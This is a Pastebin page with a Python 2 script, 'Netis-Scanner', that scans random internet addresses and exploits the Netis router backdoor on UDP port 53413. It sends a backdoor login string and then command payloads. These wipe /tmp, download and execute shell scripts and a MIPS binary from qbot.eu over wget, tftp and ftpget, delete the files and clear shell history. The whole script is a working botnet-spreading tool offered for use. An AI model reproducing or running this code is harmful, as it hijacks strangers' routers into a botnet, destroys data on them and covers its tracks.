1337ings

[Python] Netis-Scanner.py [Updated]

Aug 7th, 2017
641
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.85 KB | None | 0 0
  1. #!/usr/bin/python
  2. """
  3.             NeTiS-ScaNNeR
  4.               By; LiGhT
  5.              Updated/Upgraded by Chris Poole | @codingplanets
  6. DONT FORGET TO SET FILE DESCRIPTOR LIMIT(ulimit)
  7. """
  8. import threading, sys, time, random, socket, re, os
  9.  
  10. if len(sys.argv) < 3:
  11.     print "\033[32mNetis Scanner v1\n     \033[36mBy; LiGhT\n\033[35mUsage: python "+sys.argv[0]+" <threads> <ips per range(1-150)>\n\033[35mExample: python "+sys.argv[0]+" 100 25\n\033[37m"
  12.     sys.exit()
  13.  
  14. ranges = ["110","111","112","113","114","115","116","117","118","119","223","1","103","203","202","122"]
  15. loginpayload = "AAAAAAAAnetcore\x00" #DONT CHANGE
  16. commandpayload = "cd /tmp; rm -fr *; wget http://qbot.eu/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp qbot.eu -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g qbot.eu; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh tfyfa1.sh; rm -rf *; history -c\n"
  17. commanddpayload = "AA\x00\x00AAAA cd /tmp; rm -fr *; wget http://qbot.eu/mipsel; chmod 777 mipsel; sh mipsel; tftp qbot.eu -c get mipsel; chmod 777 mipsel; sh mipsel; tftp -r mipsel -g qbot.eu; chmod 777 mipsel; sh mipsel; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu mipsel mipsel; sh mipsel; rm -rf mipsel mipsel mipsel tfyfa1.sh; rm -rf *; history -c\x00"
  18. commandddpayload= "AAAAAAAAnetcore\x00 \r\n\r\n AA\x00\x00AAAA cd /tmp; wget http://qbot.eu/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp qbot.eu -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g qbot.eu; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 qbot.eu ftp1.sh ftp1.sh.sh; sh ftp1.sh.sh; rm -rf bins.sh tftp1.sh tftp2.sh rm -rf *\r\n\x00"
  19.  
  20. threads = int(sys.argv[1])
  21. num = int(sys.argv[2])
  22.  
  23. def worker():
  24.     try:
  25.         while True:
  26.             try:
  27.                 a = random.choice(ranges)
  28.                 number = num + 1
  29.                 hoho = []
  30.                 for k in xrange(number):
  31.                     host = ''+a+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  32.                     hoho.append(host)
  33.                 for j in hoho:
  34.                     ip = j
  35.                     print "\033[37mStarting Thread: %s\033[37m"%(ip)
  36.                     nn = nnetis(ip)
  37.                     nn.start()
  38.             except:
  39.                 pass
  40.     except:
  41.         pass
  42.  
  43. class nnetis(threading.Thread):
  44.         def __init__ (self, ip):
  45.             threading.Thread.__init__(self)
  46.             self.ip = str(ip).rstrip('\n')
  47.         def run(self):
  48.             s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  49.             try:
  50.                 print "\033[32mSending Payload: %s"%(self.ip)
  51.                 s.sendto(loginpayload, (self.ip, 53413))
  52.                 time.sleep(3.5)
  53.                 s.sendto(commandpayload, (self.ip, 53413))
  54.                 time.sleep(1.5)
  55.                 s.sendto(commanddpayload, (self.ip, 53413))
  56.                 time.sleep(1.5)
  57.                 s.sendto(commandddpayload, (self.ip, 53413))
  58.                 time.sleep(2)
  59.             except Exception:
  60.                 pass
  61.  
  62. for g in xrange(threads):
  63.     t = threading.Thread(target=worker)
  64.     t.start()
Advertisement
Add Comment
Please, Sign In to add comment